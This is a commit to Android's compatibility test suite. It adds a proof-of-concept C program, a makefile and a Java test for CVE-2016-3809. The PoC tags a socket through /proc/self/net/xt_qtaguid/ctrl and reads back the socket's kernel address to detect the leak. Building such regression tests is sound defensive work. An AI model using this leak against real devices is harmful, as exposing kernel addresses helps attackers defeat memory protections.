[RESTRICT AUTOMERGE]: CTS test for Android Security b/72507125 b/27532522
Test: successful run of newly introduced CTS test case.
Bug: 72507125
Bug: 27532522
Change-Id: Ia72896c33d0dd57d2f8441d15e60970c5d9c17af
Signed-off-by: Meeta Solanki <meeta.solanki@harman.corp-partner.google.com>
(cherry picked from commit 80601c83aa6758f79cf0c9336cfb96583e2e4b68)
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 4a77b8a..09407fd 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -55,6 +55,7 @@
<!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!--__________________-->
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk
new file mode 100644
index 0000000..d668f94
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3809/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3809
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := liblog
+
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c
new file mode 100644
index 0000000..4f4805f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-3809/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <cutils/log.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define BUF_SIZE 2048
+
+int main() {
+ int sfd, fd, ret;
+ char buf[BUF_SIZE];
+ char wbuf[BUF_SIZE];
+
+ ret = -1;
+ sfd = socket(AF_INET, SOCK_DGRAM, 0);
+ if (sfd == -1) {
+ perror("socket create");
+ return 0;
+ }
+ snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
+ fd = open(buf, O_RDWR);
+ if (fd == -1) {
+ perror("canot open xt_qtaguid ctrl");
+ close(sfd);
+ return 0;
+ }
+
+ /* clean all tags */
+ snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("first clean");
+ goto err;
+ }
+
+ unsigned long long tag = ((unsigned long long)0x13371) << 32;
+ /* add sock tag */
+ snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("add sock tag");
+ goto err;
+ }
+
+ ret = read(fd, buf, 22);
+ if (ret < 10) {
+ perror("canot read or read error");
+ goto err;
+ }
+ buf[21] = '\0';
+ char *temp = buf + 5;
+ printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
+ short address = (short)*temp;
+ printf("addres sis %d", address);
+ if (address != 48) // ascii value of 0 is 48
+ ALOGE("CVE-2016-3809 test case failed");
+ else
+ ALOGE("CVE-2016-3809 test case passed");
+
+ /* clean all tags again */
+ snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
+ ret = write(fd, wbuf, strlen(wbuf));
+ if (ret < 0) {
+ perror("cannot clean all tags at last time");
+ goto err;
+ }
+
+err:
+ close(sfd);
+ close(fd);
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_07.java b/hostsidetests/security/src/android/security/cts/Poc16_07.java
index 2601d43..4fcab24 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_07.java
@@ -26,4 +26,15 @@
public void testPocCVE_2016_3818() throws Exception {
AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
}
+
+ /**
+ * b/27532522
+ */
+ @SecurityTest
+ public void testPocCVE_2016_3809() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+ }
}
